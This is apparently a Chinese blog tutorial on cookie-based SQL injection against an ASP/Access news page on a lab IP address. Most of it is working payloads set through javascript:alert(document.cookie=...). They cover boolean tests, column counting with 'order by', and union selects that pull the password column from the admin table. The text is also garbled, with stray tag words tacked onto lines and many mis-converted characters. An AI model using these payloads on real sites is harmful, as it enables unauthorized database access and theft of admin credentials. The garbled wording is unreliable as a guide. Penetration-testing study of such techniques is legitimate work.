以ACCESS数据库为例;其余数据库用相应的注入语句就能够javascript
主要是为了绕过程序员在get、post等传参处作的一些过滤。java
目标站点:
192.168.74.136:8009/shownews.asp?id=26
在进行get注入时发现过滤关键字,尝试Cookie注入
程序员
javascript:alert(document.cookie="id="+escape("27"));
点击回车,发现弹窗以下:
数据库
点击页面上出现的肯定框。 cookie
验证是否改好了cookie:
如今更改好了cookie后咱们就要试下能不能正常访问了,如今在另一个窗口中咱们打开如下地址:
http://192.168.74.136:8009/shownews.asp?
既是将“id=27”去掉后的URL,而后看是否能正常访问。
post
可见访问以后的页面与访问 http://192.168.74.136:8009/shownews.asp?id=27
的时候是同样的,这样就说明程序在使用request对象获取数据的时候并未指明具体使用什么方法来获取,而是直接使用request("xx")的方式。如今说明cookie处是有可能存在注入的,接下来咱们测试下可否提交特殊字符,看程序是否对数据进行过滤。测试
回到刚才更改cookie的页面,而后在地址栏处填写code
javascript:alert(document.cookie="id="+escape("27 and 1=1"));
回车后再去http://192.168.74.136:8009/shownews.asp?页面刷新,看页面是否正常。
若是正常咱们再提交对象
javascript:alert(document.cookie="id="+escape("27 and 1=2"));
而后再去刷新,这个时候就会看见出错了,说明能够注入,且不存在过滤。blog
javascript:alert(document.cookie="id="+escape("27 order by 1")); 刷新 http://192.168.74.136:8009/shownews.asp? 界面 ,返回正常 javascript:alert(document.cookie="id="+escape("27 order by 11")); 刷新 http://192.168.74.136:8009/shownews.asp? 界面 ,返回正常 javascript:alert(document.cookie="id="+escape("27 order by 12")); 刷新 http://192.168.74.136:8009/shownews.asp? 界面 ,返回错误 说明字段数是 11
javascript:alert(document.cookie="id="+escape("27 union select 1,2,3,4,5,6,7,8,9,10,11 from 表名"));
javascript:alert(document.cookie="id="+escape("27 union select 1,2,3,4,5,6,7,8,9,10,11 from admin"));
javascript:alert(document.cookie="id="+escape("27 union select 1,列名,3,4,5,6,7,8,9,10,11 from 表名"));
javascript:alert(document.cookie="id="+escape("27 union select 1,password,3,4,5,6,7,8,9,10,11 from admin"));